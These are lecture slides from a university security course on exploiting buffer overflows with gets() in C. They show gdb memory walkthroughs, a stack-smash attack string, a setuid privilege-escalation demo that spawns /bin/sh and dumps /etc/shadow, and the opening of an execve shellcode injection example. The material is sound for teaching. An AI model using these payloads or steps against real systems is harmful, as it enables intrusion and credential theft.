

EXPLOITING A BUFFER OVERFLOW VULNERABILITY

CS-5156/CS-6056: SECURITY VULNERABILITY ASSESSMENT (SPRING 2025)

LECTURE 8

Outline

- Perform a simple **variable buffer overrun**
- Stack Smash Attack
- Exploiting a **variable buffer overflow** vulnerability to gain root privileges
- **Shellcode** Injection Attack

Outline

- Perform a simple **variable buffer overrun**
- Stack Smash Attack
- Exploiting a **variable buffer overflow** vulnerability to gain root privileges
- **Shellcode** Injection Attack

Simple Variable Overrun Example (Classic IA32)

```
#include <stdio.h>
int main (int argc, char *argv[]) {
    char first[12] = "Emmanuel";
    char last[12] = "Smith";
    printf("%s %s\n", first, last);
    printf("Enter last name: ");
    gets(last);
    printf("%s %s\n", first, last);
}
```

- Valid program and works just fine if no buffer overruns were attempted
- Try it!! (sudo privileges may be needed)
 - **sysctl -w kernel.randomize_va_space=0**
 - gcc -fno-stack-protector -m32 -o simple simple.c
 - ./simple

argv				
argc				
return address				
old frame pointer				
	\0	?	?	?
first	n	u	e	l
	E	m	m	a
	?	?	?	?
last	h	\0	?	?
	S	m	i	t

Simple Variable Overrun Example (Classic IA32)

```
#include <stdio.h>
int main (int argc, char *argv[]) {
    char first[12] = "Emmanuel";
    char last[12] = "Smith";
    printf("%s %s\n", first, last);
    printf("Enter last name: ");
    gets(last);
    printf("%s %s\n", first, last);
}
```

- **PROBLEM:** If more than 11 characters were input by user, runs over first
 - E.g.,: user input: 123456789012Hacked?

	argv		
	argc		
	return address		
	old frame pointer		
\0	?	?	?
n	u	e	l
E	m	m	a
?	?	?	?
h	\0	?	?
S	m	i	t

Simple Variable Overrun Example (Classic IA32)

```
#include <stdio.h>
int main (int argc, char *argv[]) {
    char first[12] = "Emmanuel";
    char last[12] = "Smith";
    printf("%s %s\n", first, last);
    printf("Enter last name: ");
    gets(last);
    printf("%s %s\n", first, last);
}
```

- **PROBLEM:** If more than 11 characters were input by user, runs over *first*
 - E.g.,: user input: 123456789012Hacked
 - No '\0' in *last*
 - Two '\0's in *first*

argv				
argc				
return address				
old frame pointer				
	\0	?	?	?
	e	d	\0	I
first	H	a	c	k
	9	0	1	2
	5	6	7	8
last	1	2	3	4

Simple Variable Overrun Example (Classic IA32)

```
#include <stdio.h>
int main (int argc, char *argv[]) {
    char first[12] = "Emmanuel";
    char last[12] = "Smith";
    printf("%s %s\n", first, last);
    printf("Enter last name: ");
    gets(last);
    printf("%s %s\n", first, last);
}
```

VULNERABILITY?

1. **first** is **higher in memory** than **last**
 - `last[12] = first[0]`
2. Code used **gets(last)**
 - Copies character inputs from user into **last**
 - This function has **no limit checking**
 - Copies until end of input from user

argv				
argc				
return address				
old frame pointer				
	\0	?	?	?
first	e	d	\0	I
	H	a	c	k
	9	0	1	2
	5	6	7	8
last	1	2	3	4

String Library Code

■ Implementation of Unix function `gets()`

```
/* Get string from stdin */
char *gets(char *dest)
{
    int c = getchar();
    char *p = dest;
    while (c != EOF && c != '\n') {
        *p++ = c;
        c = getchar();
    }
    *p = '\0';
    return dest;
}
```

- No way to specify limit on number of characters to read

■ Similar problems with other library functions

- `strcpy`, `strcat`: Copy strings of arbitrary length
- `scanf`, `fscanf`, `sscanf`, when given `%s` conversion specification

Simple Variable Overrun Example (Classic IA32)

```
#include <stdio.h>
int main (int argc, char *argv[]) {
    char last[12] = "Smith";
    char first[12] = "Emmanuel";
    printf("%s %s\n", first, last);
    printf("Enter last name: ");
    gets(last);
    printf("%s %s\n", first, last);
}
```

- What if we **reverse the order** of the local variables **first** and **last**
 - Still **valid** program and works just fine **if no buffer overruns** were attempted
 - Try it!! (**-g for keeping debug symbols**)
 - gcc -fno-stack-protector -m32 **-g** -o simple_reverse simple_reverse.c
 - ./simple_reverse

	argv		
	argc		
	return address		
	old frame pointer		
	?	?	?
last	h	\0	?
	S	m	i
	\0	?	?
	n	u	e
first	E	m	m
			a

Simple Variable Overrun Example (Classic IA32)

```
#include <stdio.h>
int main (int argc, char *argv[]) {
    char last[12] = "Smith";
    char first[12] = "Emmanuel";
    printf("%s %s\n", first, last);
    printf("Enter last name: ");
    gets(last);
    printf("%s %s\n", first, last);
}
```

- What if user input is **exactly 12 characters**?

	argv		
	argc		
	return address		
	old frame pointer		
	?	?	?
	h	\0	?
last	S	m	i
	\0	?	?
	n	u	e
first	E	m	a

Simple Variable Overrun Example (Classic IA32)

```
#include <stdio.h>
int main (int argc, char *argv[]) {
    char last[12] = "Smith";
    char first[12] = "Emmanuel";
    printf("%s %s\n", first, last);
    printf("Enter last name: ");
    gets(last);
    printf("%s %s\n", first, last);
}
```

- What if user input is **exactly 12 characters**?
 - **Old frame pointer** gets overwritten with \0

argv				
argc				
return address				
old frame pointer				
9	0	1	2	
5	6	7	8	
1	2	3	4	
\0	?	?	?	
n	u	e	l	
first	E	m	m	a

Simple Variable Overrun Example (Classic IA32)

```
#include <stdio.h>
int main (int argc, char *argv[]) {
    char last[12] = "Smith";
    char first[12] = "Emmanuel";
    printf("%s %s\n", first, last);
    printf("Enter last name: ");
    gets(last);
    printf("%s %s\n", first, last);
}
```

- What if user input is **more than 15 characters**?

argv				
argc				
return address				
old frame pointer				
	?	?	?	?
last	h	\0	?	?
	S	m	i	t
	\0	?	?	?
	n	u	e	l
first	E	m	m	a

Simple Variable Overrun Example (Classic IA32)

```
#include <stdio.h>
int main (int argc, char *argv[]) {
    char last[12] = "Smith";
    char first[12] = "Emmanuel";
    printf("%s %s\n", first, last);
    printf("Enter last name: ");
    gets(last);
    printf("%s %s\n", first, last);
}
```

- What if user input is **more than 15 characters**?
 - **Return address** gets overwritten with **non-existent address**
 - Illegal new memory address which is not within the address space allocated to this process

argv				
argc				
return address				
old frame pointer				
9	0	1	2	
5	6	7	8	
1	2	3	4	
\0	?	?	?	
n	u	e	l	
first	E	m	m	a

Simple Variable Overrun Example (Classic IA32)

```
#include <stdio.h>
int main (int argc, char *argv[]) {
    char last[12] = "Smith";
    char first[12] = "Emmanuel";
    printf("%s %s\n", first, last);
    printf("Enter last name: ");
    gets(last);
    printf("%s %s\n", first, last);
}
```

- What if user input is **more than 15 characters**?

Note:

*if x86-64, it will require more than 19 characters
since addresses (return address, frame pointer)
will each require 8 bytes*

argv				
argc				
return address				
old frame pointer				
9	0	1	2	
5	6	7	8	
1	2	3	4	
\0	?	?	?	
n	u	e	l	
first	E	m	m	a

Simple Variable Overrun Example (Classic IA32)

```
#include <stdio.h>
int main (int argc, char *argv[]) {
    char last[12] = "Smith";
    char first[12] = "Emmanuel";
    printf ("%s %s\n", first, last);
    printf ("Enter last name: ");
    gets (last);
    printf ("%s %s\n", first, last);
}
```

- What if user input is 12 characters or more?
 - **Segmentation Fault**
 - Asks for a segment in memory that process has no permission to access
 - If **old frame pointer** is being used by calling function and was replaced by a non-existing/illegal address
 - If **return address** was replaced by a non-existing/illegal address

argv			
argc			
return address			
old frame pointer			
9	0	1	2
5	6	7	8
1	2	3	4
\0	?	?	?
n	u	e	i
E	m	m	a

Simple Variable Overrun Example (Classic IA32)

Return Address:

```
(gdb) break main
Breakpoint 1 at 0x11ed
(gdb) run
Starting program: /media/sf_5156/demos/lecture7/simple_reverse

Breakpoint 1, 0x565561ed in main ()
(gdb) x/4xb $esp
0xfffffd17c: 0xd5      0x5e      0xde      0xf7
(gdb) layout asm
```

If working with Seed VM:

```
(gdb) break main
(gdb) layout asm
(gdb) set disassembly-flavor att
(gdb) run
```

Simple Variable Overrun Example (Classic IA32)

Disassembly:

0x565561ed <main>	endbr32
0x565561f1 <main+4>	lea 0x4(%esp),%ecx
0x565561f5 <main+8>	and \$0xffffffff,%esp
0x565561f8 <main+11>	pushl -0x4(%ecx)
0x565561fb <main+14>	push %ebp
0x565561fc <main+15>	mov %esp,%ebp
0x5655623b <main+78>	lea -0x14(%ebp),%eax
0x5655623e <main+81>	push %eax
0x5655623f <main+82>	lea -0x20(%ebp),%eax
0x56556242 <main+85>	push %eax
0x56556243 <main+86>	lea -0x1fcc(%ebx),%eax
0x56556249 <main+92>	push %eax
0x5655624a <main+93>	call 0x56556080 <printf@plt>
0x56556267 <main+122>	lea -0x14(%ebp),%eax
0x5655626a <main+125>	push %eax
0x5655626b <main+126>	call 0x56556090 <gets@plt>

last(ebp-20)

first(ebp-32)

last(ebp-20)

To view source code, step through asm code, then switch to src:

(gdb) ni

(gdb) layout src

Simple Variable Overrun Example (Classic IA32)

Return Address:

```
(gdb) break main
Breakpoint 1 at 0x11ed
(gdb) run
Starting program: /media/sf_5156/demos/lecture7/simple_reverse

Breakpoint 1, 0x565561ed in main ()
(gdb) x/4xb $esp
0xfffffd17c: 0xd5 0x5e 0xde 0xf7
```

return address

Simple Variable Overrun Example (Classic IA32)

Disassembly:

```
0x56556267 <main+122> lea    -0x14(%ebp),%eax
0x5655626a <main+125> push   %eax
0x5655626b <main+126> call   0x56556090 <gets@plt>
```

last(`%ebp-20`)

Break right before calling gets

```
(gdb) set disassembly-flavor intel
(gdb) break *main+126
Breakpoint 2 at 0x5655626b
(gdb) continue
Continuing.
Emmanuel Smith

(gdb) int 2, 0x5655626b in main ()
```

Simple Variable Overrun Example (Classic IA32)

Return Address:

```
(gdb) break main
Breakpoint 1 at 0x11ed
(gdb) run
Starting program: /media/sf_5156/demos/lecture7/simple_reverse

Breakpoint 1, 0x5655561ed in main ()
(gdb) x/4xb $esp
0xfffffd17c: 0xd5 0x5e 0xde 0xf7
(gdb) layout asm
```

Before calling gets

Diagram illustrating memory state before calling `gets`:

0xfffffd154:	0x53	0x6d	0x69	0x74	0x68	0x00	0x00	0x00
0xfffffd15c:	0x00	0x00	0x00	0x00	0x80	0xd1	0xff	0xff
0xfffffd164:	0x00							
0xfffffd16c:	0xd5	0x5e	0xde	0xf7				

Annotations:

- last="Smith"**: Points to the byte 0x80 in the fourth row.
- old bp**: Points to the first column of the fourth row.
- return address**: Points to the first column of the fifth row.
- 20 bytes**: Points to the first column of the fifth row.
- (gdb) x/s \$ebp-20**: Points to the command line.

```
(gdb) x/s $ebp-20
0xfffffd154: "Smith"
```

Simple Variable Overrun Example (Classic IA32)

Return Address:

```
(gdb) break main
Breakpoint 1 at 0x11ed
(gdb) run
Starting program: /media/sf_5156/demos/lecture7/simple_reverse

Breakpoint 1, 0x565561ed in main ()
(gdb) x/4xb $esp
0xfffffd17c: 0xd5 0x5e 0xde 0xf7
(gdb) layout asm
```

Before calling **gets**, put another break point after the call and continue execution. Provide 123456789012 as input

```
gdb-peda$ break *main+131
Breakpoint 3 at 0x56556270
gdb-peda$ continue
```

```
B+>0x5655626b <main+126>    call    0x56556090 <gets@plt>
b+ 0x56556270 <main+131>    add    $0x10,%esp
```

Simple Variable Overrun Example (Classic IA32)

Return Address:

```
(gdb) break main
Breakpoint 1 at 0x11ed
(gdb) run
Starting program: /media/sf_5156/demos/lecture7/simple_reverse

Breakpoint 1, 0x565561ed in main ()
(gdb) x/4xb $esp
0xfffffd17c: 0xd5 0x5e 0xde 0xf7
(gdb) layout asm
```

After calling `gets` and providing input 123456789012 `last="123456..."`

0xfffffd154:	0x31	0x32	0x33	0x34	0x35	0x36	0x37	0x38
0xfffffd15c:	0x39	0x30	0x31	0x32	0x00	0xd1	0xff	0xff
0xfffffd164:	0x00							
0xfffffd16c:	0xd5	0x5e	0xde	0xf7				

return address
modified byte
old bp

Return address was later modified indirectly

```
>0x5655629b <main+174>           ret
(gdb) x/4xb $esp
0xfffffd0fc: 0xd4 0x8f 0x55 0x56
```

Simple Variable Overrun Example (Classic IA32)

Code crashes after coming here:

```
>0x56558fd4          fdivr  QWORD PTR [esi]
0x56558fd6          add     BYTE PTR [eax],al
0x56558fd8          add     BYTE PTR [eax],al
0x56558fda          add     BYTE PTR [eax],al
0x56558fdc          add     BYTE PTR [eax],al
0x56558fde          add     BYTE PTR [eax],al
0x56558fe0 <printf@got.plt> xor    BYTE PTR [ebp+0x76f0f7e1],ch
0x56558fe6 <gets@got.plt+2> jecxz  0x56558fdf
```

Simple Variable Overrun Example (x86-64)

- gcc -fno-stack-protector -m64 -o simple_reverse_64bit simple_reverse.c

```
0x5555555551d3 <main+106>    lea    -0xc(%rbp),%rax  
0x5555555551d7 <main+110>    mov    %rax,%rdi  
0x5555555551da <main+113>    mov    $0x0,%eax  
B+>0x5555555551df <main+118> callq 0x555555555070 <gets@plt>  
0x5555555551e4 <main+123>    lea    -0xc(%rbp),%rdx
```

```
(gdb) x/28xb $rbp-12  
0x7fffffffdfa4: 0x53 0x6d 0x69 0x74 0x68 0x00 0x00 0x00  
0x7fffffffdfac: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00  
0x7fffffffdfb4: 0x00 0x00 0x00 0x00 0x83 0x70 0xde 0xf7  
0x7fffffffdfbc: 0xff 0x7f 0x00 0x00  
(gdb) ni  
Enter last name: 12345678901234567890  
0x0000555555551e4 in main ()  
(gdb) x/28xb $rbp-12  
0x7fffffffdfa4: 0x31 0x32 0x33 0x34 0x35 0x36 0x37 0x38  
0x7fffffffdfac: 0x39 0x30 0x31 0x32 0x33 0x34 0x35 0x36  
0x7fffffffdfb4: 0x37 0x38 0x39 0x30 0x00 0x70 0xde 0xf7  
0x7fffffffdfbc: 0xff 0x7f 0x00 0x00
```

Least Significant Byte (LSB) of return address was modified

Another Example of Buffer Overflow (x86-64)

```
/* Echo Line */
void echo()
{
    char buf[4];
    gets(buf);
    puts(buf);
}
```

```
void main() {
    echo();
}
```

```
unix>gcc -fno-stack-protector -o bufdemo bufdemo.c
```

will discuss why later

```
unix>./bufdemo
Type a string:12345678901
12345678901
```

```
unix>./bufdemo
Type a string:123456789012
123456789012
Segmentation Fault
```

Example Buffer Overflow Disassembly

main:

```
0x55555555551a2 <main+13>    callq  0x5555555555169 <echo>
0x55555555551a7 <main+18>    mov     $0x0,%eax
```

echo:

```
B+ 0x5555555555169 <echo>      endbr64
0x555555555516d <echo+4>      push   %rbp
0x555555555516e <echo+5>      mov    %rsp,%rbp
0x5555555555171 <echo+8>      sub    $0x10,%rsp
0x5555555555175 <echo+12>     lea    -0x4(%rbp),%rax
0x5555555555179 <echo+16>     mov    %rax,%rdi
0x555555555517c <echo+19>     mov    $0x0,%eax
>0x5555555555181 <echo+24>    callq  0x5555555555070 <gets@plt>
0x5555555555186 <echo+29>    lea    -0x4(%rbp),%rax
0x555555555518a <echo+33>    mov    %rax,%rdi
0x555555555518d <echo+36>    callq  0x5555555555060 <puts@plt>
```


Code is system dependent - you may see something different but idea is same

```
(gdb) x/20xb $rbp-4
0x7fffffffdfac: 0x55 0x55 0x00 0x00 0xc0 0xdf 0xff 0xff
0x7fffffffdfb4: 0xff 0x7f 0x00 0x00 0xa7 0x51 0x55 0x55
0x7fffffffdfbc: 0x55 0x55 0x00 0x00
```

buf initial content: 0x55 0x55 0x00 0x00

U U NUL NUL

Before call to gets



Example Buffer Overflow Disassembly

main:

```
0x55555555551a2 <main+13>    callq  0x5555555555169 <echo>
0x55555555551a7 <main+18>    mov     $0x0,%eax
```

echo:


```
B+ 0x5555555555169 <echo>      endbr64
0x555555555516d <echo+4>      push   %rbp
0x555555555516e <echo+5>      mov    %rsp,%rbp
0x5555555555171 <echo+8>      sub    $0x10,%rsp
0x5555555555175 <echo+12>     lea    -0x4(%rbp),%rax
0x5555555555179 <echo+16>     mov    %rax,%rdi
0x555555555517c <echo+19>     mov    $0x0,%eax
>0x5555555555181 <echo+24>    callq  0x5555555555070 <gets@plt>
0x5555555555186 <echo+29>    lea    -0x4(%rbp),%rax
0x555555555518a <echo+33>    mov    %rax,%rdi
0x555555555518d <echo+36>    callq  0x5555555555060 <puts@plt>
```

Code is system dependent - you may see something different but idea is same

```
(gdb) x/20xb $rbp-4
0x7fffffffdfac: 0x55      0x55      0x00      0x00      0xc0      0xdf      0xff      0xff
0x7fffffffdfb4: 0xff      0x7f      0x00      0x00      0xa7      0x51      0x55      0x55
0x7fffffffdfbc: 0x55      0x55      0x00      0x00
```

Old Base Pointer: 0x00007fffffffdfc0

Before call to gets



↑
%rsp

Example Buffer Overflow Disassembly

main:

```
0x55555555551a2 <main+13>    callq  0x5555555555169 <echo>
0x55555555551a7 <main+18>    mov     $0x0,%eax
```

echo:

```
B+ 0x5555555555169 <echo>      endbr64
0x555555555516d <echo+4>      push   %rbp
0x555555555516e <echo+5>      mov    %rsp,%rbp
0x5555555555171 <echo+8>      sub    $0x10,%rsp
0x5555555555175 <echo+12>     lea    -0x4(%rbp),%rax
0x5555555555179 <echo+16>     mov    %rax,%rdi
0x555555555517c <echo+19>     mov    $0x0,%eax
>0x5555555555181 <echo+24>    callq  0x5555555555070 <gets@plt>
0x5555555555186 <echo+29>    lea    -0x4(%rbp),%rax
0x555555555518a <echo+33>    mov    %rax,%rdi
0x555555555518d <echo+36>    callq  0x5555555555060 <puts@plt>
```

Code is system dependent - you may see something different but idea is same

```
(gdb) x/20xb $rbp-4
0x7fffffffdfac: 0x55      0x55      0x00      0x00      0xc0      0xdf      0xff      0xff
0x7fffffffdfb4: 0xff      0x7f      0x00      0x00      0xa7      0x51      0x55      0x55
0x7fffffffdfbc: 0x55      0x55      0x00      0x00
```

Return Address: 0x0000555555551a7

Before call to gets

Stack Frame
for main

0x00	0x00	0x55	0x55
0x55	0x55	0x51	0xa7
0x00	0x00	0x7f	0xff
0xff	0xff	0xdf	0xc0
0x00	0x00	0x55	0x55

← %rbp

12 bytes
Unused

%rsp

Example Buffer Overflow Disassembly

main:

```
0x5555555551a2 <main+13>    callq  0x555555555169 <echo>
0x5555555551a7 <main+18>    mov    $0x0,%eax
```

echo:

```
B+ 0x555555555169 <echo>      endbr64
0x55555555516d <echo+4>      push   %rbp
0x55555555516e <echo+5>      mov    %rsp,%rbp
0x555555555171 <echo+8>      sub    $0x10,%rsp
0x555555555175 <echo+12>     lea    -0x4(%rbp),%rax
0x555555555179 <echo+16>     mov    %rax,%rdi
0x55555555517c <echo+19>     mov    $0x0,%eax
>0x555555555181 <echo+24>    callq  0x555555555070 <gets@plt>
0x555555555186 <echo+29>    lea    -0x4(%rbp),%rax
0x55555555518a <echo+33>    mov    %rax,%rdi
0x55555555518d <echo+36>    callq  0x555555555060 <puts@plt>
```

```
Breakpoint 1, echo () at bufdemo.c:3
```

```
(gdb) ni
(gdb) x/20xb $rbp-4
0x7fffffffdfac: 0x55 0x55 0x00 0x00 0xc0 0xdf 0xff 0xff
0x7fffffffdfb4: 0xff 0x7f 0x00 0x00 0xa7 0x51 0x55 0x55
0x7fffffffdfbc: 0x55 0x55 0x00 0x00
(gdb) ni
12345678901
(gdb) x/20xb $rbp-4
0x7fffffffdfac: 0x31 0x32 0x33 0x34 0x35 0x36 0x37 0x38
0x7fffffffdfb4: 0x39 0x30 0x31 0x00 0xa7 0x51 0x55 0x55
0x7fffffffdfbc: 0x55 0x55 0x00 0x00
(gdb) 
```

Overflowed buffer, but did not corrupt state

After call to gets

Stack Frame
for main

0x00	0x00	0x55	0x55
0x55	0x55	0x51	0xa7
0x00	0x31	0x30	0x39
0x38	0x37	0x36	0x35
0x34	0x33	0x32	0x31

← %rbp

12 bytes
Unused

↑
%rsp

Example Buffer Overflow Disassembly

main:

```
0x5555555551a2 <main+13>    callq  0x555555555169 <echo>
0x5555555551a7 <main+18>    mov    $0x0,%eax
```

echo:

```
B+ 0x555555555169 <echo>      endbr64
0x55555555516d <echo+4>      push   %rbp
0x55555555516e <echo+5>      mov    %rsp,%rbp
0x555555555171 <echo+8>      sub    $0x10,%rsp
0x555555555175 <echo+12>     lea    -0x4(%rbp),%rax
0x555555555179 <echo+16>     mov    %rax,%rdi
0x55555555517c <echo+19>     mov    $0x0,%eax
>0x555555555181 <echo+24>    callq  0x555555555070 <gets@plt>
0x555555555186 <echo+29>    lea    -0x4(%rbp),%rax
0x55555555518a <echo+33>    mov    %rax,%rdi
0x55555555518d <echo+36>    callq  0x555555555060 <puts@plt>
```

```
Breakpoint 1, echo () at bufdemo.c:3
```

```
(gdb) ni
(gdb) x/20xb $rbp-4
0x7fffffffdfac: 0x55 0x55 0x00 0x00 0xc0 0xdf 0xff 0xff
0x7fffffffdfb4: 0xff 0x7f 0x00 0x00 0xa7 0x51 0x55 0x55
0x7fffffffdfbc: 0x55 0x55 0x00 0x00
(gdb) ni
```

```
123456789012
```

```
(gdb) x/20xb $rbp-4
0x7fffffffdfac: 0x31 0x32 0x33 0x34 0x35 0x36 0x37 0x38
0x7fffffffdfb4: 0x39 0x30 0x31 0x32 0x00 0x51 0x55 0x55
0x7fffffffdfbc: 0x55 0x55 0x00 0x00
(gdb) 
```

After call to gets

Stack Frame
for main

0x00	0x00	0x55	0x55
0x55	0x55	0x51	0x00
0x32	0x31	0x30	0x39
0x38	0x37	0x36	0x35
0x34	0x33	0x32	0x31

← %rbp

12 bytes
Unused

↑
%rsp

Program “returned” to 0x555555555100 instead of 0x555555551a7, and then crashed.

Outline

- Perform a simple **variable buffer overrun**
- Stack Smash Attack
- Exploiting a **variable buffer overflow** vulnerability to gain root privileges
- **Shellcode** Injection Attack

Stack Smashing Attacks

```
void P() {  
    Q();  
    ...  
}
```


return address **A**

```
int Q() {  
    char buf[64];  
    gets(buf);  
    ...  
    return ...;  
}
```

data written
by **gets()**

```
void S() {  
/* Something  
unexpected */  
    ...  
}
```

Stack **after** call to **gets()**




- Overwrite normal return address **A** with address of some other code **S**
- When **Q** executes **ret**, will jump to other code

Crafting Smashing String (smash.c)

```
0x5555555551e0 <main+13>  
0x5555555551e5 <main+18>
```

```
callq 0x555555555189 <echo>  
mov    $0x0,%eax
```

Stack before ret
should be:



```
int echo() {  
    char buf[4];  
    gets(buf);  
    ...  
    return ...;  
}
```

Target Code

```
void smash() {  
    printf("I've been smashed!\n");  
    exit(0);  
}
```

```
00005555555551b5 <smash>:  
5555555551b5: 48 83 ec 08
```


Attack String (Hex)

```
31 32 33 34 35 36 37 38 39 30 31 32 b5 51 55 55 55 55 00 00
```

Smashing String Effect (After Applying String)

Stack before ret

with attack:



Target Code

```
void smash() {  
    printf("I've been smashed!\n");  
    exit(0);  
}
```


Attack String (Hex)

31 32 33 34 35 36 37 38 39 30 31 32 b5 51 55 55 55 55 00 00

00005555555551b5 <smash>:
55555555551b5: 48 83 ec 08

Smashing String Effect In Action

Stack before ret
with attack:



Target Code

```
void smash() {  
    printf("I've been smashed!\n");  
    exit(0);  
}
```

00005555555551b5 <smash>:
55555555551b5: 48 83 ec 08

Attack String (Hex)

31 32 33 34 35 36 37 38 39 30 31 32 b5 51 55 55 55 55 00 00

Performing Stack Smash

Attack String (Hex)

```
31 32 33 34 35 36 37 38 39 30 31 32 b5 51 55 55 55 55 00 00
```

- Put hex sequence in file **smash-hex.txt**
- Use **hexify** program to convert hex digits to characters
 - Some of them are non-printing
- Provide as input to vulnerable program

```
linux> cat smash-hex.txt
30 31 32 33 34 35 36 37 38 39 30 31 32 b5 51 55 55 55 55 00 00
linux> cat smash-hex.txt | ./hexify | ./smash
Type a string:012345678901234567890123?@
I've been smashed!
```

Or from inside gdb:

```
linux> ./hexify < smash-hex.txt > smash-raw.txt
linux> gdb smash
(gdb) break echo
(gdb) run < smash-raw.txt
```

```
void smash() {
    printf("I've been smashed!\n");
    exit(0);
}
```

Performing Stack Smash

Before exploit:

Performing Stack Smash

After exploit:

The screenshot shows a debugger interface with assembly code and memory dump sections.

Assembly Code:

```
0x555555555195 <echo+12>           lea    rax, [rbp-0x4]
0x555555555199 <echo+16>           mov    rdi, rax
0x55555555519c <echo+19>           mov    eax, 0x0
0x5555555551a1 <echo+24>           call   0x555555555080 <gets@plt>
B+>0x5555555551a6 <echo+29>           lea    rax, [rbp-0x4]
0x5555555551aa <echo+33>           mov    rdi, rax
0x5555555551ad <echo+36>           call   0x555555555070 <puts@plt>
0x5555555551b2 <echo+41>           nop
0x5555555551b3 <echo+42>           leave 
0x5555555551b4 <echo+43>           ret
0x5555555551b5 <smash>           endbr64
```

A red arrow points from the assembly code to the memory dump section.

Memory Dump:

```
native process 51425 In: echo          L7      PC: 0x5555555551a6
Breakpoint 2, echo () at smash.c:7
gdb-peda$ x/20xb $rbp-4
0x7fffffffdfec: 0x31    0x32    0x33    0x34    0x35
0x7fffffffdfef: 0x39    0x30    0x31    0x32    0x36
0x7fffffffdfef: 0x55    0x55    0x00    0x00    0x37
0x7fffffffdfef: 0xb5    0x51    0x55    0x55    0x38
```

A blue box highlights the address `0xb5` in the memory dump, which is labeled "Modified return address".

The `ret` instruction will later pop out the address of `smash()` `0x0000555555551b5` and puts it in the instruction pointer (IP) causing the next instruction to execute to be the first instruction in `smash()`

Outline

- Perform a simple **variable buffer overrun**
- Stack Smash Attack
- Exploiting a **variable buffer overflow** vulnerability to gain root privileges
- Shellcode Injection Attack

More Serious Variable Overrun Example (IA32)

```
#include <stdio.h>
int main (int argc, char *argv[]) {
    char cmd[20] = "/bin/date";
    char name[12] = "Sam Smith";
    printf("name: %s, cmd: %s\n", name, cmd);
    printf("Enter name:");
    gets(name);
    printf("name: %s, cmd: %s\n", name, cmd);
    printf("Welcome %s. The time is\n", name);
    system(cmd);
}
```

- **Valid** program and works just fine **if no buffer overruns** were attempted
- Try it!!
 - gcc fno-stack-protector -m32 -o escalate_priv escalate_priv.c
 - ./escalate_priv
 - Enter a string **less than 11 characters**

Activation Record

argv				
argc				
return address				
old frame pointer				
	?	?	?	?
	?	?	?	?
e	\0	?	?	
/	d	a	t	
cmd	/	b	i	n
h	\0	?	?	
S	m	i	t	
name	S	a	m	

More Serious Variable Overrun Example (IA32)

```
#include <stdio.h>
int main (int argc, char *argv[]) {
    char cmd[20] = "/bin/date";
    char name[12] = "Sam Smith";
    printf("name: %s, cmd: %s\n", name, cmd);
    printf("Enter name:");
    gets(name);
    printf("name: %s, cmd: %s\n", name, cmd);
    printf("Welcome %s. The time is\n", name);
    system(cmd);
}
```

- **PROBLEM:** If more than 11 characters were input by user, runs over **cmd**
 - E.g.,: user input: 123456789012/bin/sh?

Activation Record

argv				
argc				
return address				
old frame pointer				
	?	?	?	?
	?	?	?	?
e	\0	?	?	
/	d	a	t	
cmd	/	b	i	n
h	\0	?	?	
S	m	i	t	
name	S	a	m	

More Serious Variable Overrun Example (IA32)

```
#include <stdio.h>
int main (int argc, char *argv[]) {
    char cmd[20] = "/bin/date";
    char name[12] = "Sam Smith";
    printf("name: %s, cmd: %s\n", name, cmd);
    printf("Enter name:");
    gets(name);
    printf("name: %s, cmd: %s\n", name, cmd);
    printf("Welcome %s. The time is\n", name);
    system(cmd);
}
```

- **PROBLEM:** If more than 11 characters were input by user, runs over first
 - E.g.,: user input: 123456789012/bin/sh?
 - The **command** that will be run is /bin/sh instead of /bin/date

Activation Record

argv				
argc				
return address				
old frame pointer				
	?	?	?	?
	?	?	?	?
e	\0		?	?
/	s	h		\0
cmd	/	b	i	n
9	0	1	2	
5	6	7	8	
name	1	2	3	4

More Serious Variable Overrun Example (IA32)

```
#include <stdio.h>
int main (int argc, char *argv[]) {
    char cmd[20] = "/bin/date";
    char name[12] = "Sam Smith";
    printf("name: %s, cmd: %s\n", name, cmd);
    printf("Enter name:");
    gets(name);
    printf("name: %s, cmd: %s\n", name, cmd);
    printf("Welcome %s. The time is\n", name);
    system(cmd);
}
```

- **VULNERABILITY?**
 1. **cmd** is **higher in memory** than **name**
 2. Code used **gets(name)**
 3. **system(cmd)**
 - Allows for executing commands from user **without sanitization**

Activation Record

argv				
argc				
return address				
old frame pointer				
	?	?	?	?
	?	?	?	?
e	\0		?	?
	/	s	h	\0
cmd	/	b	i	n
	9	0	1	2
	5	6	7	8
name	1	2	3	4

Gain Root Privilege

- The previous buffer overflow vulnerability may be combined with a **privilege escalation vulnerability** to gain complete root access to the machine
 - E.g., If the **program executable** is set to run **setuid** and **setgid** as root (**chmod 6755**)
 - When program executes, it runs with privileges of the owner not user executing it
 - To verify, we can check **euid or effective uid (id)**
 - Can now dump **password hashes (cat /etc/shadow)**

```
[02/10/23] seed@VM:~/..../lecture7$ ./escalate_priv
name: Sam Smith, cmd: /bin/date
Enter name: 123412341234/bin/sh
name: 123412341234/bin/sh, cmd: /bin/sh
Welcome 123412341234/bin/sh. The time is
# id
uid=1000(seed) gid=1000(seed) euid=0(root) groups=1000(seed),
ugdev),120(lpadmin),131(lxd),132(sambashare),136(docker)
# cat /etc/shadow
root:!18590:0:99999:7:::
```

Outline

- Perform a simple **variable buffer overrun**
- Stack Smash Attack
- Exploiting a **variable buffer overflow** vulnerability to gain root privileges
- **Shellcode** Injection Attack

Shellcode Injection Attack

- Attacker can exploit a **buffer overflow vulnerability** to **execute** malicious code (i.e., **shellcode**).
- Shellcode Characteristics (**Art!!!**)
 - Commonly written in machine code
 - Typically starts a command shell
 - Can be either **local** or remote
 - Small
 - Eliminates unnecessary libraries and any un-needed code
 - Null-free (i.e., contains no null-terminated strings)
 - Cannot have something like 0x00 (null byte)
 - Subsequent **bytes of the shellcode after null strings are ignored** and not processed
 - Attackers usually replace instructions like **mov eax,0x0001** with **inc eax**
 - Sometimes encoded to avoid detection by IDSes

Shellcode Injection Requirements


1. Get shellcode on the stack
2. Find the address of where the shellcode starts
3. Find the location of the return address in the AR and replace it with the address of the shellcode

Shellcode Injection Attack Scenario

```
void P() {  
    Q();  
    ...  
}
```

return address
A

```
int Q() {  
    char buf[64];  
    gets(buf);  
    ...  
    return ...;  
}
```



- Input string contains byte representation of executable code
- Overwrite return address A with address of buffer B
- When Q executes `ret`, will jump to shell code (exploit code)

Simple Local Shellcode Injection Example

shellcode_injection.c

```
#include <stdio.h>
#include <string.h>

char shellcode[] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e"
                  "\x89\xe3\x50\x53\x89\xe1\x31\xd2"
                  "\x31\xc0\xb0\x0b\xcd\x80";

